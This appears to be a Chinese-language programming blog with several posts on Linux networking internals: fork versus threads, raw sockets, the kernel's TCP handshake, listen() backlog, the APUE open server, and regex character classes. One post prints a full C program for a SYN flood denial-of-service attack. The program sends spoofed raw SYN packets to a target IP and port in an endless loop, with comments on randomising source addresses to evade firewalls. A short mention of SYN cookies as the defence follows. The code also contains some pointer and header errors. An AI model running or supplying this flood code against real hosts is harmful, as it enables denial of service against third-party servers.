2013年2月13日 星期三

fork() or pthread

pthread已經是很久以前碰過的東西(十年以前了),當然這是一個歷久不衰,甚至愈來愈興盛的library,然則有許多人把他當成效能改進方案,是否完全正確!?說到效能,就不得不提到最近崛起的方式則是asynchronous IO,當然兩者不是完全競爭性的存在,但是卻是效能提升的選擇

如richard stevens在unix network programming提到的,fork()需要配大量資源,有其包袱,如果要溝通parent/child則必須透過IPC機制,thread則沒有這些問題,但是相對應的thread有同步的問題

我想介紹兩點使用thread但是不使用fork() process所可能帶來的問題,藉此想說明,不要過度依賴thread
  • thread遇上system call可能block所有threads,這可能是一個programmer意想不到的
  • thread在CPU分配上有先天的問題,因為linux本身是以process為單位分配,也就是如果一個programmer希望他的program有較高的效能,可能用fork()比較好
有上面的問題(issue)也不表示捨棄thread,個人認為應該更加精細的控制thread與process才能達到更好的效能,比方說將批次的工作做一process,每個process在分成若干threads,當然這些方式往往必須programmer付出更多的精力來達成,但是在目前追求效能的風氣下,這是一種解決的方案

以第一點舉例來說,參考之前雲端投影機,當client提出一個投影片的需求的時候,server必須將slides轉換為images,這是一個耗用大量CPU以及block IO的工作(或許可以將這個過程使用asynchronous IO來處理,但表示連libpng之類的lib或者使用到任何tool都必須支援或者轉換為支援asynchronous IO),即使使用thread或者select()都無法解決的,最後我選擇的解決方案是fork()

asynchronous IO則是還沒機會使用C語言實作過,但是倒是在javascript的node.js上體驗過,一個使用event queue來理解這個機制比較容易,但是asynchronous IO似乎在流程控制上比較困難,如果有興趣可以參考我之前寫的文章

2013年2月11日 星期一

用raw socket做sync flood攻擊

  1:      #include <unistd.h>
  2:     #include <stdio.h>
  3:     #include <sys/socket.h>
  4:     #include <netinet/ip.h>
  5:     #include <netinet/tcp.h>
  6: 
  7:     /* TCP flags, can define something like this if needed */
  8:     /*
  9:     #define URG 32
 10:     #define ACK 16
 11:     #define PSH 8
 12:     #define RST 4
 13:     #define SYN 2
 14:     #define FIN 1
 15:     */
 16: 
 17:     struct ipheader {
 18:      unsigned char      iph_ihl:5, /* Little-endian */
 19:                         iph_ver:4;
 20:      unsigned char      iph_tos;
 21:      unsigned short int iph_len;
 22:      unsigned short int iph_ident;
 23:      unsigned char      iph_flags;
 24:      unsigned short int iph_offset;
 25:      unsigned char      iph_ttl;
 26:      unsigned char      iph_protocol;
 27:      unsigned short int iph_chksum;
 28:      unsigned int       iph_sourceip;
 29:      unsigned int       iph_destip;
 30:     };
 31:     /* Structure of the TCP header */
 32:     struct tcpheader {
 33:      unsigned short int   tcph_srcport;
 34:      unsigned short int   tcph_destport;
 35:      unsigned int             tcph_seqnum;
 36:      unsigned int             tcph_acknum;
 37:      unsigned char          tcph_reserved:4, tcph_offset:4;
 38:      unsigned int
 39:            tcp_res1:4,       /*little-endian*/
 40:            tcph_hlen:4,      /*length of tcp header in 32-bit words*/
 41:            tcph_fin:1,       /*Finish flag "fin"*/
 42:            tcph_syn:1,       /*Synchronize sequence numbers to start a connection*/
 43:            tcph_rst:1,       /*Reset flag */
 44:            tcph_psh:1,       /*Push, sends data to the application*/
 45:            tcph_ack:1,       /*acknowledge*/
 46:            tcph_urg:1,       /*urgent pointer*/
 47:            tcph_res2:2;
 48:      unsigned short int   tcph_win;
 49:      unsigned short int   tcph_chksum;
 50:      unsigned short int   tcph_urgptr;
 51:     };
 52: 
 53:     /* function for header checksums */
 54:     unsigned short csum (unsigned short *buf, int nwords)
 55:     {
 56:       unsigned long sum;
 57:       for (sum = 0; nwords > 0; nwords--)
 58:         sum += *buf++;
 59:       sum = (sum >> 16) + (sum & 0xffff);
 60:       sum += (sum >> 16);
 61:       return (unsigned short)(~sum);
 62:     }
 63: 
 64:     int main(int argc, char *argv[ ])
 65:     {
 66:       /* open raw socket */
 67:     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 68:       /* this buffer will contain ip header, tcp header, and payload we'll
 69:          point an ip header structure at its beginning, and a tcp header
 70:          structure after that to write the header values into it */
 71:     char datagram[4096];
 72:     struct ipheader *iph = (struct ipheader *) datagram;
 73:       struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
 74:       struct sockaddr_in sin;
 75: 
 76:       if(argc != 3)
 77:       {
 78:            printf("Invalid parameters!\n");
 79:            printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
 80:            exit(-1);
 81:       }
 82: 
 83:       unsigned int floodport = atoi(argv[2]);
 84:     /* the sockaddr_in structure containing the destination
 85:      address is used in sendto() to determine the datagrams path */
 86:     sin.sin_family = AF_INET;
 87:     /* you byte-order >1byte header values to network byte
 88:      order (not needed on big-endian machines). */
 89:     sin.sin_port = htons(floodport);
 90:     sin.sin_addr.s_addr = inet_addr(argv[1]);
 91:        /* zero out the buffer */
 92:        memset(datagram, 0, 4096);
 93:        /* we'll now fill in the ip/tcp header values */
 94:        iph->iph_ihl = 5;
 95:        iph->iph_ver = 4;
 96:     iph->iph_tos = 0;
 97:     /* just datagram, no payload. You can add payload as needed */
 98:     iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
 99:     /* the value doesn't matter here */
100:       iph->iph_ident = htonl (54321);
101:       iph->iph_offset = 0;
102:       iph->iph_ttl = 255;
103:     iph->iph_protocol = 6;  // upper layer protocol, TCP
104:       /* set it to 0 before computing the actual checksum later */
105:     iph->iph_chksum = 0;
106: 
107:     /* SYN's can be blindly spoofed.  Better to create randomly
108:        generated IP to avoid blocking by firewall */
109:     iph->iph_sourceip = inet_addr ("192.168.3.100");
110:     /* Better if we can create a range of destination IP,
111:        so we can flood all of them at the same time */
112:     iph->iph_destip = sin.sin_addr.s_addr;
113:     /* arbitrary port for source */
114:       tcph->tcph_srcport = htons (5678);
115:     tcph->tcph_destport = htons (floodport);
116:     /* in a SYN packet, the sequence is a random */
117:     tcph->tcph_seqnum = random();
118:     /* number, and the ACK sequence is 0 in the 1st packet */
119:       tcph->tcph_acknum = 0;
120:       tcph->tcph_res2 = 0;
121:       /* first and only tcp segment */
122:     tcph->tcph_offset = 0;
123:     /* initial connection request, I failed to use TH_FIN,
124:        so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
125:     tcph->tcph_syn = 0x02;
126:     /* maximum allowed window size */
127:     tcph->tcph_win = htonl (65535);
128:       /* if you set a checksum to zero, your kernel's IP stack should
129:          fill in the correct checksum during transmission. */
130:       tcph->tcph_chksum = 0;
131:       tcph-> tcph_urgptr = 0;
132: 
133:       iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
134: 
135:     /* a IP_HDRINCL call, to make sure that the kernel knows
136:        the header is included in the data, and doesn't insert
137:        its own header into the packet before our data */
138:     /* Some dummy */
139:     int tmp = 1;
140:     const int *val = &tmp;
141:     if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
142:     {
143:     printf("Error: setsockopt() - Cannot set HDRINCL!\n");
144:     /* If something wrong, just exit */
145:     exit(-1);
146:     }
147:     else
148:       printf("OK, using your own header!\n");
149: 
150:     /* You have to manually stop this program */
151:     while(1)
152:     {
153:       if(sendto(s,                       /* our socket */
154:                datagram,                 /* the buffer containing headers and data */
155:                iph->iph_len,             /* total length of our datagram */
156:                0,                        /* routing flags, normally always 0 */
157:                (struct sockaddr *) &sin, /* socket addr, just like in */
158:                sizeof (sin)) < 0)        /* a normal send() */
159:          printf("sendto() error!!!.\n");
160:       else
161:         printf("Flooding %s at %u...\n", argv[1], floodport);
162: 
163:     }
164:       return 0;
165:     }
在server有對應之道就是打開SYN Cookies,這個linux本身有支援,syn cookies在七八年前我就聽過了,應該是成熟的技巧,利用hash table處理connections避免server資源耗盡地的問題,使用
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
打開,在trace listen(), accpet()的時候其實裡面就有syn cookies的部分codes
不過對於DDOS還是無法解決網路頻寬耗盡的問題

linux socket下的TCP three way handshake淺析

之前好奇three way handshake被包裝在socket api之後,那麼到底是哪個function call完成了這個工作?事實上...我想簡單了,這個工作根本是被kernel完成!?也就是是在function call之外,這樣講有些模糊,首先假設大家知道richard stevens提出來的TCP state diagram,那麼從LISTEN狀態轉換到ESTABLISHED狀態就是經過three way handshake

當呼叫listen()的時候,linux將狀態設定為LISTEN,這是相當直觀,但是accept()在呼叫之後會產生怎樣的事情,我倒是不知道!?根據網路上的說法accept()會因為狀態不是ESTABLISHED而被block,然linux kernel會將LISTEN狀態改為ESTABLISHED狀態整個過程是由:
tcp_v4_rcv()=> tcp_v4_do_rcv() => tcp_rcv_state_process()
在tcp_rcv_state_process()中由LISTEN轉換藉由送出SYN,ACK轉為SYN_RCVD,然後等待client端,送回SYN就可以轉換為ESTABLISHED狀態。當轉換為SYN_RCVD狀態時,建立了request_sock結構,在接收到回傳的SYN建立/轉換成了INET SOCKET

這裡的疑惑就是,誰呼叫了tcp_v4_rcv() !?是accept()?還是kernel?如果是kernel表示,其實accept()呼叫之前,就可以進行three way handshake

根據accept()的呼叫次序
accept()==>sys_accept()==>sys_accept4()==>inet_accept()==>inet_csk_accept()
最後一個function直接處理了inet_connection_sock結構,我比較傾向kernel處理了three way handshake

最後覺得,果然Linux網路實作還真是複雜阿!!

參考資料:
http://blog.csdn.net/yanook/article/details/7019558
http://blog.csdn.net/chensichensi/article/details/5272696
http://www.kernel.org/doc/man-pages/online/pages/man2/accept.2.html
http://basiccoder.com/linux-kernel-network-socket-creation.html
http://blog.csdn.net/yanook/article/details/7019600
http://hi.baidu.com/linux_kernel/item/7a5ae7027ede2edcdde5b094
http://tinyurl.com/aejh37lhttp://linux.chinaunix.net/techdoc/net/2008/12/30/1055672.shtml
http://blog.sina.com.cn/s/blog_52355d840100b6sd.html

2013年2月10日 星期日

raw socket與socket

最近有人跟我提到這兩個名詞而且混用,讓我腦袋當機,因為在我思考內這兩者是不相等的
從wikipedia的解釋是這樣

In computer networking, a raw socket is an internet socket that allows direct sending and receiving of Internet Protocol packets without any protocol-specific transport layer formatting.

首先socket本身並不完全符合TCP/IP的layer分層,他是更精緻的包裝,比方說使用socket,一般人幾乎都沒有手動建立three way handshake的方式,大多只是使用connect()跟listen()/accept()就處理完畢client/server,從來注意這程序應該是規範在TCP layer,但是programmer自己從來沒處理過

在linux的raw socket允許使用這自行處理packet,包含TCP/UDP/IP layer的header,也就是必須自行建構以及解析,換句話說,programmer的code candy已經被拿掉,過去socket API會幫忙處理一些payload跟header細節,現在要自己來,但同時也拿到更多控制權。也因為如此同時程式在執行的時候,往往需要root權限。raw socket可以用來建立類似sniffer的程式

有趣的是,似乎還是無法干涉MAC layer的運行,也就是data diagram,某種程度因為MAC layer是跟phy相關,也就是說,有相當的機制必須是跟硬體相關,這個比較難以直接套用,與有無root權限比較沒有相關了

======個人經驗分隔線======
個人第一次對這問題有接觸反而是在大學時期,想使用java 2寫個ping程式,後來千方百計找不到方法與API,首次瞭解到ping應該是ICMP(雖然有同學跟我提過echo server/port #7,但這是TCP layer),所以應該不行,ICMP是屬於系統範疇,所以java並不support是很正常的。同時開始懷疑我怎麼沒處理過three way handshake!!@@a

跟著在研究所時代,有同學提出了,號稱可以在wireless AP換手的情況下,因為會有IP變換的問題(每個AP有自己的DHCP server),可以在不改寫程式的狀況下,也不改寫系統IP layer的情況下,完成透明化的動作,也就是可以一邊移動,一邊使用ftp client傳送檔案,但是不會有任何斷線的問題

雖然以我的印象這是不大可能的,根據詳談之後,終於得知,原來是M$開放了一些hook,讓使用者可以在AP level改變IP level以及TCP level的packet,同學透過如此的方式來達成他的目的。但是這已經打破layer的設計,也就是沒有移植性的能力,當時會讓人驚訝的是不需改寫系統任何layer,但事實上是透過作業系統的支援,所以這是一個cross layer design,cross layer design在使用上具備有較好的效能以及較差的移植性以及需要較高的系統相依性。

參考資料:
http://forums.hackthissite.org/viewtopic.php?f=30&t=6643
http://blog.yam.com/hn12303158/article/35207136
http://blog.yam.com/jackktop/article/2124823

2013年2月9日 星期六

open server解讀

APUE(v1)的open server是一個重要框架,可是作者有點弄得太複雜一點,從作者提出的三個prototype的function看起,先看SVR 4的版本
int send_fd(int spipefd, int fileds);
int send_err(int spipefd, int status, cont char *merrmsg);
int recv_fd(int spipefd, ssize_t (*userfunc)(int, const void*,size_t));

某種程度直觀,但是...send_err()用send_fd()實作orz,send_fd的第二個參數,不一定是file descriptor!其實可能會是error code,一個參數兩種意義,這是容易混淆的一點

接著是作者設計的protocol,實在是為了在recv_fd上判斷到底是傳來的file descriptor還是error code,另外作者設計得不好的另外一點是...他是null start,第一個char固定式null,第二個char如果是0表示正常,如果是其他就是傳遞error code

跟著看recv_fd(),裡面竟然用getmsg(),這個function出現在chapter 11,如果不熟悉,要仔細翻閱,因為限制在SVR4,底層實作read/write,實際用message queue所以可以用getmsg(),非常平台相關,要注意的是for( ; ; ),為何要是無限迴圈?實際上也是為了處理send_fd()跟send_err()的區別,如果是正常的send_fd(),很容易就如大家trace出結果。但是如果是send_err(),那會收到兩組資訊,一組是error message,在send_err()內呼叫,另外一組是send_err()呼叫send_fd()送出來的。所以for( ; ; )會執行兩次,一次會呼叫使用者給定的error handler,跟著第二組來自send_err()呼叫send_fd()的資訊才會回傳小於0的fd表示錯誤

這裡有小小的一個bug,當傳入error message的時候,*ptr會指向C字串最後一個字元\0(null)之後,但是他還是有很小的機會為0,這時候程式就會出錯,端看當時記憶體內的資料情況

listen()於linux的實作

相信這已經是很多人相當熟悉的function call,根據man page,有一個參數就是backlog的個數,乃至於一些kernel的引用
The behavior of the backlog argument on TCP sockets changed with Linux 2.2. Now it specifies the queue length for completely established sockets waiting to be accepted, instead of the number of incomplete connection requests. The maximum length of the queue for incomplete sockets can be set using /proc/sys/net/ipv4/tcp_max_syn_backlog. When syncookies are enabled there is no logical maximum length and this setting is ignored. See tcp(7) for more information.
但是比較明確表示有可能是有其他解釋的是posfix的定義
The backlog argument provides a hint to the implementation which the implementation shall use to limit the number of outstanding connections in the socket's listen queue.
可以試驗使用底下的程式建立server

...
sockfd = socket(AF_INET, SOCK_STREAM, 0);
...

listen(sockfd, 3);
sleep(50);
...

隨便寫個client,會發現在sleep期間,還是可以連上該server 3個connections以上,這是發生了啥麼事情!?
事實上只是一個實作上的方式不同,就如同kernel上面人家引述的,linux使用了一個queue來儲存在些incomplete sockets,但是這個queue size卻不等於backlog的參數,因為reqsk_queue_alloc()實作(version 2.6.36)是以2^n在成長,一般最小為16,系統一般的上限為256(int sysctl_max_syn_backlog = 256;)

此外,在richard stevens書中提到兩點,第一點,backlog從來沒有被嚴格的定義過,第二點,backlog不建議設定為0,因為backlog設定為0,將導致他的解釋依照系統實作而定,有些系統是設定為一系統最小backlog數(e.g. 16)

所以說,man page有時候還是跟實作上有差異的,參考就好,果然網路程式真的是博大精深阿

2013年2月1日 星期五

regular expression的疑問

最近看到一個可以把regular expression轉換成finite state machine的網站,可以用圖形化的方式來檢視regular expression,幫忙除錯
http://www.regexper.com/
我把這個網站丟給了朋友,他則丟回了個好問題給我XD
[a-z.]跟[a-z\.]為何網站給的結果是一樣的??
後面那個很容易理解,前面那個則勾起了我的好奇,到底regular expression如何解釋的?因為.\^*還有許多字元被稱為metacharacter,如果這些落在[ ]會如何解釋?其實我沒有找到完整的解答,只有看到網路上有一句話: dot is not a metacharacter inside the character class~所以兩者是一樣的

另外搜尋的過程中找到了一個好玩的問題[a-Z]是否代表[a-zA-Z],我直覺是否定的,因為中間可能夾雜特殊字元,但是結果是,[a-Z]根本不是一個有效的表示法,因為int('a')>int('Z')